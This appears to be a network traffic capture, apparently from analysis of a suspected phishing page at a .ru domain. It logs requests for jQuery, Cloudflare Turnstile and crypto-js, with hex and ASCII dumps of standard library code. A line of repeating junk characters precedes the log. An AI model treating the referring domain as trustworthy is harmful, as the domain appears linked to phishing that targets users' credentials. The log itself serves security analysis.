4Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:14:48 UTC	661	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://o0o6.bvyunz.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:14:48 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 18 Mar 2025 17:14:48 GMT Age: 987071 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740062-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 13 X-Timer: S1742318088.250657,VS0,VE0 Vary: Accept-Encoding
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-18 17:14:48 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:14:48 UTC	702	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://o0o6.bvyunz.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:14:48 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 18 Mar 2025 17:14:48 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 92265e53bb94556e-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:14:48 UTC	689	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://o0o6.bvyunz.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 17:14:48 UTC	960	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:14:48 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 399648 Expires: Sun, 08 Mar 2026 17:14:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4s9w4pO4QxU07vKj9c2gL6pf5zbLDVCpffStxE%2FY2E0j8C9snAQ9RJs8mY5iVfAfCSStCaI7eF%2BVj8ea24hYmB4QF9gSspM%2FSZaEIIqEwXBUajtBivre%2Bz213MX9YHmfTDr7bByJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 92265e53ccc6f965-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 17:14:48 UTC	409	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2025-03-18 17:14:48 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 